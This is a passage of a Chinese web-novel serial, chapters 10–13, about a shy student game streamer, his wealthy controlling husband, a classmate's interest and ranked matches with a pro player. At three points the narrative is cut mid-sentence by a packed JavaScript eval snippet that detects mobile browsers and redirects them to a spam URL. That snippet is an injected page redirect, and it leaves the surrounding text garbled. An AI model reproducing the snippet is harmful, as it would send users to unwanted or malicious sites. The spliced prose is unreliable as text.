看了眼时间,路弥还没来得及说自己快迟到了,王姨就跟知道他想说什么一样,先他一步开口:“您不用担心迟到,先生安排了司机接送您上下学,吃完早餐再去还来得及。” 王姨说着看向路弥还有些乱糟糟的头发,内向胆怯的小孩儿看起来已经没有昨天那么局促了。 听到王姨这话,路弥愣了下,抓着书包肩带站了几秒才应声:“好。” 沈谈早就安排好了一切。 在这之前,路弥不管做什么都要自己安排。 早餐也很丰盛,估计是怕不合他胃口,王姨做了不同的样式,路弥在这方面并不怎么挑剔。 “您中午想吃些什么?是想偏向于家常还是偏向于外面的食物款式?”吃完饭,王姨又问了些路弥口味相关,不过不是让路弥自己报菜名,而是让路弥从一些菜中进行挑选。 和昨晚沈谈让他选择的方式是一样的。 也许是因为有了沈谈的前车之鉴,这次路弥选择得很干脆。 虽然他以前在食物这方面并不挑剔。 王姨做完记录,又看了眼时间,笑眯眯地看着路弥,“沈先生说让您早上吃过早餐后稍微等一会儿,看时间现在也应该到了。” “什么?”路弥放在膝盖上的双手瞬间抓紧了裤子。 可是沈谈昨晚不是说他要出国吗? 难道又是骗他的? 路弥下意识咬住下唇,视线跟着王姨挪到门口,忍不住开始紧张。 没一会儿王姨就开了门。 但站在门口的并不是沈谈,而是几个推着衣架的工作人员。 手瞬间松开,但也并没有因为并不是沈谈回来了而感到多么高兴,路弥舔了下下唇,注意力很快被工作人员推进来的那些满满都是衣服的衣架吸引过去。 都是浅色系的衣服,并不是特别昂贵的品牌,适合现在这个季节,适合路弥这个年纪,更适合路弥的长相和风格。 王姨笑得合不拢嘴,一边指挥工作人员一边告诉路弥:“沈先生今天早上上飞机之前吩咐过的,说是会让人送衣服回来,都是沈先生亲自挑的。” 路弥愣在那儿,恍然想起昨晚沈谈问他喜欢什么颜色。 ……是为了给他选衣服吗? 等衣服全部都被送进来,王姨问:“时间还来得及,您要试试吗路弥先生?” 好一会儿,路弥才发懵地点头看向王姨,“我想试试。” 10. 朋友 路弥到教室的时候离上课还有几分钟,时间刚刚好。 找到空位坐下没一分钟,旁边就坐了个男生,是路弥他们班班委。 路弥之前并没和对方有太多交集,不过班委显然是个很会跟人交流的人,见路弥看了自己一眼,他笑了下,“路弥你还记得我叫什么吧?” “记得。”路弥点点头。 这一年多他虽然不太和同学交流,但记忆力很好,记得班委叫高游,高游是这学期才转系到他们班的,正好他们班班委休学,高游之前又当过班委,就顶上了这个位置。 高游松了口气,“那就好,下个月的冬季运动会你要不要参加?这是报名表。” 高游说着递给路弥一张表格。 愣了下,路弥低头看了眼,“我没有运动天赋。” 他也没想到高游会找自己。 进大学这么久路弥几乎没参加过什么集体活动,尤其是像运动会这种,他不喜欢人多的地方。 早就料到路弥不会同意,高游连忙说:“没事,反正大家都宁愿趁着这个时间出去玩,参加也是浪费时间,体院那群人每次都包揽第一,学校又不给什么学分奖励,搞得大家都没什么兴致。”高游说着视线不由自主落在路弥脸上,意识到自己盯着路弥看了太久,又连忙转过脸去让自己表情没那么明显了才继续问:“我能坐这里吗?” 座位谁都能坐,路弥自然不会拒绝。 他把表格还给高游之后就低头去看自己的手机了,离上课还有一分钟,他翻了翻短信记录。 沈谈没给他发消息,应该是真的去出差了。 见路弥一直在看手机,高游忍不住跟他搭话,“你今天的衣服很好看,很适合你。” 路弥今天穿了件米白色卫衣,外面套了件米白加蓝条纹的棒球服外套,卫衣上有个绵羊图案,看起来和路弥的气质很搭。 路弥进教室的时候高游就察觉到了,和路弥之前的穿衣风格完全不一样,路弥之前穿衣服都是有什么穿什么,今天却是搭配好的。 听见高游说这个,路弥抓着手机怔了几秒,“谢谢……我……我家里人买的。” 家里人买的这句话对路弥来说很陌生。 他说完呆了几秒,打开微信界面,在搜索好友那栏把沈谈的手机号输入进去。 很快界面上跳出来一个微信账号,头像是一片落地窗外的景色。 路弥一眼就认出来这是沈谈在卧室里面拍的。 落地窗倒影出卧室里米白色的床。 看起来这头像可能才换没多久。 “那他肯定很了解你。”高游忍不住盯着路弥漂亮的侧脸看,试图找更多话题。 他一出声,路弥连忙退出加好友界面,把手机放进书包里。 见路弥反应这么大,高游也没再好意思跟他说话,等下了课,见路弥开始收拾东西,高游才问:“中午要不要一起吃饭?” 转来这个班没多久他就注意到路弥平时基本不和别人交流,除非必要的时候。明明长得很好看却一直游离在人群外,似乎是为了故意降低自己的存在感,也可能是为了避免一些不必要的麻烦和别人的叨扰。 比如像他这样搭讪的人。 路弥看了眼时间摇头,“不了,我要回家了。” 早上来的时候司机就说过会在外面等他,虽然路弥一开始拒绝了,但司机说等他不是为了管着他回家,而是为了让他出行方便。 他想去哪里都可以。 沈谈并没有限制他的人身自由。 但路弥也没别的地方能去。 以前他没课了就会去图书馆或者回出租屋。 “你不住校吗?难怪我没在宿舍楼见过你,你是本地人吗?”高游话比较多,一边说一边跟在路弥身后一块儿出教室。 路弥不太习惯跟别人一起走,脚步顿了顿,还是礼貌应了句:“是本地人。” “我也是本地人,不过我住宿舍,我哥家就在学校附近,这么一提,我一会儿去我哥那儿看看他好了。”高游非常努力地找话题,“你玩游戏吗?就是最近很火的目的地,我们班挺多人在玩。” 路弥愣了下,“我不玩游戏。” 他从来没跟别人说过他在当游戏主播。 除了沈谈。 “其实我也不玩。”高游说着笑了笑,“不过我哥玩,他是个大游戏主播,你要是哪天要玩,我可以问我哥取取经再来跟你一起玩。” 周围都是上下课的学生,路弥停下脚步,扭头看向高游。 一和他对视上,高游脸立马就红了。 路弥抿了抿唇。 高游话里的意思太明显了,只是不知道是想要跟他当普通朋友而透露出来的友好,还是因为其他而透露出来的示好。 “怎么了?”见路弥似乎有话要说,高游挠了挠脑袋。 “没事。”路弥摇摇头。 高游也没明确说出什么,他们也就今天才说了几句话,他没必要把话戳破。 他在学校一直不怎么和别人交流,也向来没什么朋友。 一开始确实会有人对他很热情,从小到大就这样,后来发现他太高冷,不爱说话,也不会主动找别人,那些人就会逐渐远离他。 他们还会在背后评价他,只是长得好看而已,拽什么。 路弥也不知道自己为什么会这样。 接下去出学校的路上,高游也没什么机会跟路弥搭话,因为他性格外向人缘好,总是会遇到认识的人,然后打个招呼。 路弥没停下来等他,但没一会儿,高游就能追上来。 一直到了校门口,估计司机一直在观察,路弥一出校门,车就立马开到了他面前。 车门被打开,路弥上车的动作顿了顿,扭头看了高游一眼。 高游扫了眼这辆一看就价值不菲的车,等他回过神来的时候,路弥已经上车了。 “路弥先生是要回去吗?还是要去别的地方?”司机从后视镜里看了眼和路弥一起出来的男生,男生还在原地没走。 “回去吧。”路弥也没看车外,上了车他整理了一下外套。 不知道司机是不是注意到他的动作,一边启动车一边笑着说:“衣服很适合您。” 路弥眨了眨眼,“……谢谢。” 他没再整理衣服了,而是找出手机。 微信界面还停留在沈谈的个人简介上。 盯着看了一会儿,路弥还是把手机熄了屏。 司机瞥了眼后视镜,也没再说什么。 校门口,高游打开搜索软件搜了搜刚刚来接路弥那辆车的价格,痛苦地抓了抓头发。 原来路弥家里这么有钱吗? 高游有些气馁地跑去车站准备去他哥那儿。 本来他不准备去找他哥,但既然跟路弥说了,他还是得做个言而有信的人。 不出他所料,他到他哥家的时候他哥还没醒,家里一团乱,沙发上还扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727536|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着女性衣物。 高游皱了皱眉,他知道他哥经常换对象,有时候是男生有时候是女生,不像他只喜欢男生。 戴上手套高游认命地开始给他哥收拾房子,再去买菜做饭,等他做好饭,房间里也传来了说话声。 他哥应该开直播了。 但听起来又不是他哥在说话,反倒有点像路弥的声音。 路弥的声音很好辨认,干净清爽还有些软。 在门口听了几秒,高游忍不住敲了敲门。 “进来,你怎么突然来了?”高墨头也没回,也没背着高游的意思,电脑屏幕上赫然是目的地的游戏直播。 不过主播已经没再说话了。 “怕你不吃饭把自己饿死了,你在看直播吗哥?”高游看向高墨的电脑屏幕。 他不玩游戏,只看高墨玩过,也看不懂,只看见屏幕上是游戏的选英雄界面。 高墨嗯了声,“怎么了?突然对游戏感兴趣了吗书呆子?” “没有,就是刚这个主播是不是说话了?声音很像我同学,不过他不打游戏。” 高游刚说完,电脑里就再次传来主播的声音。 声音并不大,也很冷静,“我可以玩辅助。” 高游愣了下,瞬间激动起来,“真的很像我同学!不过他说他不玩游戏。” “你看起来对这个同学很关心。”高墨挑了挑眉,“怎么了,他长得很好看?” 高游也没多想高墨为什么问这个问题,点点头笑着说,“很漂亮。” “那就去追,要我教你吗?”高墨说着低头看了眼手机消息。 消息是一个跟高层有点关系的人发来的:[没查到,差点被发现了,不过好像是大学生,我就瞄了一眼,跟你弟好像一个学校的,我也不知道有没有看错,这种事儿下次我可不做了啊,被发现了我得被骂死了] 高墨表情顿了顿。 “不用,我也没说要追他。”高游不像他哥,他没谈过恋爱,而且也知道路弥应该不太喜欢进展太快。 再者,路弥坐的车太贵了。 高墨笑了声,“你做饭了吧?我一会儿出来吃饭,你那个同学叫什么?我先记记名字,看看下次你提起来就脸红的是不是还是这个人。” 高游也没多想,老老实实回答:“路弥。” 路弥下播的时候正好是晚饭时间,他今天补了一下午时长,晚上就能在十点前睡了。 沈谈一开始提出的规矩……其实并不是不能完成。 只不过可能是新设备,键盘和鼠标还有电脑的清晰度都比他之前的设备好多了,路弥还没完全熟悉,一开始打的几把发挥并不算好,哪怕已经提前打过娱乐赛恢复手感。 还好后面几把都赢了,把分补了回来,总排名还往上爬了一名。 晚饭王姨做的都是符合路弥喜欢的家常菜,和中午一样,不过更清淡。 吃过饭,路弥忍不住朝大门方向看了眼。 外面很安静,这片别墅区很安静,应该大家都很忙,基本很少回来。 见他这样,王姨笑眯眯的:“您可以问问沈先生什么时候回来。” “我没有这个意思。”路弥立马起身回了书房。 他只是下意识看了眼门口而已。 沈谈不在他反而更加自在。 在电脑前坐了片刻,路弥打开微信。 通讯录那栏不知道什么时候多了个好友验证。 是沈谈。 11. 喜欢 沈谈那边现在应该已经是深夜。 路弥看着好友申请那栏沈谈的头像,他不知道沈谈是什么时候加自己的,也不知沈谈为什么会加自己。 也许加微信好友对沈谈来说只是很普通的事情而已,等以后他厌倦了照样可以当成什么都没发生过。 犹豫片刻,路弥通过了好友申请。 沈谈并没有发什么消息过来。 重新开了今天的第二场直播,路弥先跟大家打了个招呼。 因为那天沈谈打赏了大额礼物,路弥今天开播后的人气比之前高很多。 路弥所在的亚日直播平台有好几种推流机制,活动、公会扶持、公会砸钱或者靠土豪砸礼物等等,礼物收到得越多,平台给的流量就越多,而且还不是只给一场流量。 所以公会管理才会让路弥好好维护大老板。 不止他们能赚钱,路弥的流量起来了,就有可能会火,赚的钱就比之前多。 但路弥态度还是跟之前一样。 打完招呼他就直接关掉弹幕开了排位赛。 晚上的排位赛比下午要更难打,再加上路弥的分高。 但新电脑和新键盘他已经适应得差不多了,连着几把游戏下来,路弥都打得很顺利。 只不过队伍里有人分低,他并不能加多少分,就算赢了几把,排名也才前进了两名。 但路弥已经很满意了。 他看了眼时间,九点多,还能再打一把。 一进选英雄界面,同队有人和路弥一起预选了打野英雄竹蜻蜓。 竹蜻蜓是个身材娇小的女性打野英雄,因头上顶着个一直在转的竹蜻蜓而名,虽然娇小,伤害却爆炸,R技能还能飞天隐身跑路。 像这种局鲜少会排到撞位置的,但如果同段位人太少,也极有可能撞位。 估计是因为前面连胜了几把,路弥这把排到的队伍应当都是分数差不多的。 [迷路又要玩辅助了吗?我有点害怕会A兵会打伤害的辅助] 下午路弥的第一把游戏就让了位置。 只不过我方射手并没能成功发育起来,还把责任归到了路弥身上,路弥只能把他的兵吃了以免浪费资源。 [这样吧,你要不开麦跟对方说哥哥让让我,我想玩打野] [死心吧,迷路宝宝不会看弹幕的,就算看,他也不会喊哥哥] 路弥确实没看。 他想起自己补位辅助的那把,犹豫了几秒,同样预选竹蜻蜓的队友已经在队伍频道发了消息:“三楼要玩打野吗?” 路弥回:“可以让我吗?” 队友:“可以,你喊我一声哥哥。” [是不是在偷窥我们弹幕?] 路弥:“……” 路弥沉默了一会儿,看了看自己的辅助英雄。 他什么都能玩,但这种段位还是觉得玩最拿手的位置更稳妥,只是如果对方玩得好,他也心甘情愿让位置。 等他选好预选阵容适配的辅助英雄,队友也选好了英雄。 是和他一模一样的辅助,看起来对方的思路和他很像。 路弥愣了下,队友:“不理我也没关系,我会自己喊自己哥哥。” 他发完就立马锁了辅助英雄,看起来是直接把打野位让给了路弥。 路弥:“……” 路弥忍不住笑了声,发了句谢谢,把英雄换回了竹蜻蜓。 进了游戏,路弥看了眼辅助队友的ID,爱吃甜甜圈。 看起来像个女生。 [等等这个ID,是不是那个RRG战队的甜甜圈?] RRG战队本来是本次季中赛的冠军热门队,但是在昨天的比赛中,他们第一局失利后直接把辅助甜甜圈换了下去,似乎是把错误都怪到了辅助头上,但也并没有因此改变直接在半决赛出局的结局。 甜甜圈的游戏ID就叫爱吃甜甜圈,性别男。 [不是吧,可能只是用黑科技撞名了] [去游戏搜了下确实是本人,他现在排位分应该跟路弥差不多,拿辅助打这么高分的也就甜甜圈了,居然还坐冷板凳] 路弥并没有看弹幕在聊什么。 这把游戏打得跟他预想中的一样难,双方一直找不到很好的突破点,游戏时间超过了三十分钟,必须抢到下一波两条大野才能拿到优势。 但双方都清楚团战很容易造成形势扭转,对面和正在开麦的队友都会选择各自拿一条大野。 想要拿两条必须靠偷。 但是太危险了,路弥没办法完全相信自己能活着偷到大野。 “迷路,我去占视野,你能过来吗?其他人去大蛇,给对面辅助露个眼。”游戏里辅助突然开麦,是个很年轻的男声。 路弥掌心出了点汗,开麦:“可以。” 辅助似乎愣了下,“你还真是弟弟啊?那我先过去等你,你先别露。” “你们俩要是死了我们这把就没了,白打半小时。”射手忍不住道。 辅助笑了:“你要相信队友,迷路这个操作你还不信他吗?” 射手不说话了。 看得出来辅助应该是职业级别的。 听见辅助的话,路弥忍不住握了握鼠标。 他不管做什么都很有耐心。 他先给了对面中路一波假视野,被打到半血后才绕路去了大野坑。 跟他预想的一样,对面果然选择一人一条大野的稳妥打法。 路弥计算着大野的血量。 就在血线快达到斩杀线的时候,辅助跳进野坑,一个大控制住了对面五人,而路弥直接穿墙在攻击范围内和敌方打野同时斩杀。 成功抢走了大野。 在技能落到身上的瞬间,路弥一点都没有犹豫,直接E技能隐身,抵消了所有伤害,逃走了。 而辅助早就在他穿墙的瞬间丝血闪现加位移技能跑了。 这把游戏毫无疑问赢了。 退出结算界面,路弥看了眼时间,正好离十点还有几分钟,他正想打开弹幕跟大家道别,游戏界面就跳出来一条来自“爱吃甜甜圈”的好友申请。 路弥手心汗更多了。 他遇到过很多厉害的队友,但很少有配合特别好的。 他能感觉到,辅助是职业选手。 而叫“爱吃甜甜圈”这个ID的选手,也就只有RRG战队的辅助。 和职业选手打游戏,跟和普通人打游戏的感受是不一样的。 路弥看着这个ID几秒,同意了好友申请。 爱吃甜甜圈:“打不打普通排位?单排冲分太难了。” 目的地的排位也分两种,一种是普通排位,只有段位区别,支持单排、双排、三排和五排,而另一种就是路弥一直在打的排位分,想要冲排位分只能单排。 路弥深吸一口气:“不打了,我要下线了。” 他发完消息打开弹幕。 [这是职业选手!!] [激动什么,迷路又不是没排到过职业选手] [阿墨进直播间了!!] [迷路要不要问问他们队还收人吗?] [笑了,开挂主播还想打职业?] [我们迷路也是火了,也有黑子了] 路弥还没来得及说什么,爱吃甜甜圈:“好吧,那下次有机会” 爱吃甜甜圈:“你有没有考虑过打职业?我看了你的KDI,应该有职业战队邀请过你吧?” 这回路弥没有犹豫,直接回复:“我不打职业,谢谢。” 明显感觉到排斥,爱吃甜甜圈连忙说:“我就是老毛病顺口一问,我没那个招人的权限,你可别拉黑我啊弟弟。” 不过他迟迟没得到答复。 路弥直接下了游戏,看了眼弹幕。 [我就说我们迷路能打职业!!] [得了吧甜甜圈自己都坐冷板凳] [过了季中赛各大战队就要开始招人了,迷路真的不去试试吗?赚的肯定比你当主播多] 几乎满屏都是职业相关的弹幕。 路弥死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727537|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死抓住鼠标,好一会儿才轻声说:“今天的直播就到这里了。” 声音都有些发抖。 打职业对他来说遥不可及。 他已经不能自主自己的人生了。 正要关掉直播间,屏幕中间突然飘出来礼物信息。 【用户97654398送给主播999花束】X10 似乎是为了验证路弥当主播赚得并不少,沈谈又连续刷了十次,直接送了100组999花束。 路弥愣在那儿好一会儿,一直到手机震动起来。 手机上,沈谈直接发来了视频通话邀请。 原来是来催他下直播了吗? “谢谢用户97654398的礼物。”路弥一边说着,一边关掉了直播间。 在同意键上顿了几秒,路弥接下了视频通话。 手机似乎被放置在茶几上,屏幕上沈谈正坐在沙发上。 路弥并没有和别人视频的经历,尤其这个人是沈谈,他忍不住抿了抿唇。 “你看起来似乎不太高兴。”沈谈手肘撑着膝盖身体前倾靠近了镜头,让路弥有了种沈谈在盯着自己的感觉。 路弥连忙摇头,“……没有。” 也许有,但也不是因为沈谈。 “是吗?我还以为你不愿意跟我视频,现在听起来你也并没有不愿意,既然你没有那么不愿意见我,我是不是可以提早回家?”沈谈表情明明淡淡的,但路弥似乎听出他语气里的笑意。 路弥:“……” 他一时不知道自己该回答是还是不是。 似乎不管怎么说都可能会惹得沈谈不愉快。 “不回家也行,我可以换个方式陪你睡觉。”沈谈轻笑了声。 路弥下意识问:“什么方式?” “你回房间我才能告诉你,还是我不在你也不愿意睡我的床?这不行,你得提前适应,我总不能一直不回家。”沈谈一边说着一边看向直播间依然飘着的满屏的关于“打职业”的弹幕。 而视频里路弥的表情并没有之前胆怯。 反而隐隐有些难过。 连语气也是。 沈谈眯了眯眼,合上电脑,视线转回手机的时候,路弥人已经回了房间。 “没有不愿意。”怕沈谈不信,路弥坐到床边,小声解释:“我昨晚在床上睡的。” 沈谈不在,他睡得很好。 不过这话他不能说。 沈谈应该是信了,他重新靠回沙发,“衣服很适合你。” 路弥低头看了眼自己身上的衣服,回家到现在他还没换衣服,一直穿的是沈谈买的衣服。 他还没跟沈谈道谢。 他举着手机,把手机拿远了点,让沈谈看清自己身上衣服的全貌。 但做完后又觉得不妥,连忙把手机收回来,红着耳根,“谢谢衣服。” 他很喜欢。 沈谈是第一个给他这么精心买衣服的。 以前在路家,他的很多衣服都是大哥二哥淘汰的,要么就是别人送的,路南德心情好的时候随手买的。 也不管适不适合他。 路弥也从来不管适不适合自己,能穿就好了。 沈谈嗯了声,“怎么谢我?感谢有很多方式。” 路弥怔了下,“我……” 他并没有什么能给沈谈的。 “最好是我喜欢的方式。”沈谈慢条斯理说着,“你应该知道我喜欢什么吧?” 路弥脑海里不由自主冒出沈谈抱着他在沙发上亲吻的画面,耳朵瞬间更烫了,手也跟着抖了一下。 沈谈视线落在他红透的耳根上,一边唇角轻轻勾起,转瞬即逝地笑了下,“不急,慢慢想,我还没回家,现在你的事情是去洗澡睡觉。” 他似乎给了路弥缓冲的时间。 沈谈那边已经凌晨了,确实该睡了。 路弥如释重负,连忙应了句好,刚想说晚安,沈谈好像猜到他要说什么,打断他的话,“手机放在这儿或者带进去,你自己选一个?” 12.生气 水流声冲淡了外界一切的声音,但没能盖住心跳。 尽管知道手机放在床上,哪怕开着视频,沈谈也看不见什么,路弥还是有种沈谈正在看着自己的错觉。 他没敢在浴室多待,匆匆冲洗过后套上新买的睡衣就出了浴室。 视频并没有挂断,镜头里沈谈依然保持着刚才的姿势坐在沙发上,不过没看镜头,看的是旁边。 应该是在看电脑,在工作。 估计是听见了什么动静,沈谈人一动没动,只出了声:“洗完了?我这边还有点工作没处理完,先睡吧。” 路弥抓着手机,从这个视角看沈谈那边也只能看见房间里亮着很亮的灯,不像是什么卧室的灯,像是那种办公室的灯。 他张了张嘴,片刻后还是只应了句:“好。” 沈谈很忙,他也没那个资格让沈谈早点睡。 不过沈谈这话听起来,还真有种他就在自己身边的错觉。 莫名的像是被人关心了。 路弥小心翼翼爬上床,还没关灯,沈谈又问:“头发吹了吗?” 听得出来沈谈确实没看镜头。 “……头发没有湿。”既然沈谈没有看镜头,路弥瞬间放松了,把手机放到了枕头边,镜头正对着自己的脸。 “睡吧。” 沈谈看起来还是很忙,没再看过路弥这边一眼。 呼吸洒在屏幕上起了一层薄雾,路弥放轻了呼吸,看着屏幕里的男人,慢慢闭上了眼睛,手机也摔在了一旁。 镜头很快对准了还亮着灯的天花板。 沈谈签完文件,靠到沙发背上,看着屏幕里明亮的天花板,无声勾了勾唇角。 连着一个多星期,路弥都以这种和沈谈开视频的方式入睡。 第一天的时候第二天早上醒来手机直接没电关机了,也不知道沈谈到底有没有把视频挂掉,第二天路弥就学聪明了,插着电开视频,但第二天手机还是关机了。 并不是没电,而是他手机质量太差。 路弥的手机是好几年前的手机,那时候他去住校,路南德让他回家参加家宴却发现联系不上他才把二哥淘汰下来的手机给他了。 那时候这个手机二哥才用了没多久,也算是全新的,功能很齐全。 但路弥一般只用来发信息打电话。 一直到现在已经用了七八年。 他有点担心这样下去手机会报废。 尤其今天手机充电后开机开了好久,明明路弥什么都没做,手机就一直在发烫死机,路弥今天满课,只能上课关机,以免手机中途没电了或者坏了。 回家的路上,路弥犹豫了好久才给沈谈发了条消息。 迷路:[今天晚上还要打视频吗?] 他怕沈谈误会什么,怕惹沈谈生气,也不敢直说能不能不打视频了,他的手机撑不住,也怕沈谈会误会自己在向他要东西。 也不知道沈谈什么时候回家。 沈谈没回消息。 回到家吃过饭,路弥一边算着时长一边打开直播,后台照旧收到公会管理督促他要好好维护大哥的信息。 路弥这几天都已读不回。 换以前,公会管理肯定会骂他,但可能那天沈谈砸的礼物太多,直接让管理换了一副态度,不管路弥回不回消息,管理都一直“好言相劝”,生怕路弥一个不高兴让大哥跑了。 虽然从那天之后沈谈都没有再来过。 路弥跟他视频的时候就知道沈谈很忙,每天凌晨都还在处理工作。 看了眼管理消息,路弥依然已读不回,直接开了直播上了游戏。 游戏刚加载出来就跳出来一条来自“爱吃甜甜圈”的邀请。 路弥愣了下。 那天他拒绝了爱吃甜甜圈之后爱吃甜甜圈就没再找过他。 不过昨天季中赛结束了,之前跟甜甜圈他们战队一起被列为冠军热门队伍的YUY战队拿到了季中赛的冠军。 也因为这个,甜甜圈所在的RRG战队被骂得狗血淋头,也包括就上了一局比赛就被替换下去的甜甜圈,还有个别极端粉丝把错归到了甜甜圈第一局比赛没打好上面,说他跟队友没有配合。 据路弥所知,甜甜圈十八岁的时候加入RRG,成绩一直很好,那时候YUY想把他挖走他都没走。 但今年开始RRG似乎内部出了什么问题,从春季赛开始打法就有些不对劲。 但甜甜圈的操作一直很好,可以说是目前联盟里数一数二的辅助。 路弥会抽时间看一些比赛,只是不会多看。 看太多了会生出不该有的念头。 路弥犹豫的功夫,弹幕已经乱套了。 [他怎么还好意思拉主播打游戏?不去好好反省为什么比赛失利?] 也不知道是不是因为最近直播间人气很高,弹幕总是乌烟瘴气,再加上有人在甜甜圈邀请路弥的时候就跑去通风报信,不少竞粉直接冲进了路弥直播间,弹幕直接吵起来了。 [关甜甜圈什么事?后面四局又不是甜甜圈打的] [听说甜甜圈要被踢出RRG了,真的假的?] [你们能不能滚出去啊,这不是甜甜圈的直播间好吗?] [服了能不能别在这里吵架,我还想看迷路宝宝打游戏呢] [什么迷路宝宝?几岁了还叫宝宝,是让竞圈第一辅助带上分的宝宝吗?] 瞥了眼弹幕,路弥依然心平气和,直接接受了爱吃甜甜圈的邀请。 他一进去,甜甜圈就十分惊讶地开了麦:“我还以为你不想理我了呢。” 口气听起来多少有点不正经。 路弥:“……” 路弥沉默了。 甜甜圈笑了:“哎我乱说的,你别放在心上,我想冲个段位,卡段了,找不到合适的组排人选就想着拉你试试,你要不要打啊小迷路?” 听见称呼,路弥:“……” 沉默了一会儿,“喊我迷路就好。” “我看你弹幕有人这样喊你,听你声音年纪确实很小。”甜甜圈说着顿了顿,“我不是故意找你信息的,就是看你操作不像路人能打出来的就去搜了下直接就搜出来你直播间了,你放心我不白看,我给你刷礼物了啊。” “谢谢。”路弥看了眼依然乱糟糟的弹幕,“打吧。” 不过这回他没关掉弹幕。 甜甜圈似乎也确实只是为了找他上段,进了游戏就不怎么说话了。 路弥话本身也少,基本不怎么说话,直播间一时安静下来。 本来一直在吵的弹幕吵着吵着也安静了,开始安静地沉浸式看起主播的操作。 [额问问这是哪家青训的主播吗?这操作不像是普通主播能打出来的啊] [得了破案了,我还说什么第一辅助带娃呢,合着是早就物色好新队友了啊] [楼上的我能当成你在夸主播吗?] [主播成年了吗?听声音感觉年纪好小] [真的不考虑打职业吗?跟甜甜圈配合真好,很难看到普通玩家跟得上职业选手节奏的] 普通玩家就算平时操作再好,跟职业选手还是有一定的差距,不管是意识还是操作、反应能力方面,总会有欠缺的。 但路弥不一样。 阿墨看着直播间里路弥和甜甜圈的配合,神色越来越难看。 这几天公会管理找过他,让他暂时不要再想和路弥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729519|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捆绑卖腐的事情。 他是大主播,之前如果不是因为喜欢路弥的声音,也不会这么上赶着给路弥蹭热度。 本来他都对路弥没什么心思了,反正天底下男人女人多的是,他想要什么人得不到手。 不过现在。 他想起高游的话。 高游是他弟弟,并不会对他撒谎,但他也没办法问高游具体的情况。 只能确定高游口中的那个同学,确实就是迷路。 他对长得好看的人一直很有耐心。 而之前迷路一直拒绝他,现在却跟甜甜圈双排打得高兴。 甜甜圈算什么东西? - 结束双排的时候时间已经是十一点多。 路弥很少会因为打游戏忘我,忘记时间,看见时间的时候还吓了一跳,下意识看了眼手机。 前几天他都是下午开播,晚上十点左右下播,沈谈也会准时给他打视频电话。 但今天沈谈并没有打视频过来。 见甜甜圈又排了下一把,路弥连忙出声阻止:“我要下播了。” 甜甜圈立马取消了排队,笑着问:“怎么了你家有门禁?” 路弥抿了抿唇,“是的……我家里人让我早点睡。” [第一次听迷路提起家里人] 路弥的老粉都知道,之前路弥是一个人住的。 [不是说结婚了吗?] [这也信?不都是拒绝的借口吗?] 扫了眼弹幕,路弥小声回答:“是结婚了,他不让我晚睡。” 甜甜圈似乎愣了下,“你成年了吗就结婚了啊?” 路弥嗯了声,“成年了。” 他说着看了眼直播间进进出出的人,但始终没看见用户97654398出现。 “好好好,那今天就打到这里,我也要去开赛后反省大会了,今天谢谢你了啊小迷路。”甜甜圈也没再追问他的私生活,说完之后干脆利落下了游戏。 还没来得及纠正他让他喊自己迷路的路弥:“……” 路弥只能很小声地哦了声,然后和大家打了个招呼,下了直播。 手机上还是没收到任何消息。 路弥抿了抿唇,不知道自己是不是惹沈谈生气了。 他翻了翻后台私信,回复了一些粉丝消息,刚要关直播平台,后台跳出来一条私信。 来自阿墨。 阿墨:“之前的事情实在对不起啊迷路,我并没有其他意思,只是觉得你打野玩得很好性格也很好,就算不想跟我一起直播,私下我们可以当朋友吗?我看我们所在的城市一样,有机会也可以一起出来吃饭,你跟水木也认识,我之前跟水木也一起玩过。” 阿墨之前并没有私下联系过路弥。 路弥垂着眼并没有注意阿墨具体说了什么,只是想起管理说的多学学阿墨,把老板哄开心了。 路弥确实不知道怎么说话才可以哄人开心。 也许可以从阿墨身上学到点什么。 犹豫许久,路弥回复阿墨:“好。” 加上阿墨的微信好友,路弥关掉电脑,正要起身,电竞房的门突然被敲了两下。 仅仅只是敲了两下,没等路弥反应过来,门就被人从外面打开。 沈谈不知道什么时候回来的。 他换了一身黑色睡衣,路弥认得那是之前挂在衣柜里的其中一套。 应该是自己打游戏太入迷了什么都没听见。 但就算换了睡衣,沈谈看起来依然气势迫人,和视频里不一样的感觉。 尤其是他朝着自己走过来的时候,脸上没什么表情。 路弥想,沈谈大抵是真的因为自己生气了。 13.误解 一直到沈谈走到自己面前,路弥都没有想好怎么应对。 他根本没想过沈谈今天就会回家。 要是知道,他就不会给沈谈发那条消息,也就不会让沈谈不高兴了。 路南德生气的时候会做什么? 会骂他,偶尔也会动手,会把他关起来…… 但沈谈跟路南德又不一样。 路弥明明知道沈谈跟路南德找的那个沈先生是一路人,和路南德也是一路人,但潜意识里却把他们划分开了。 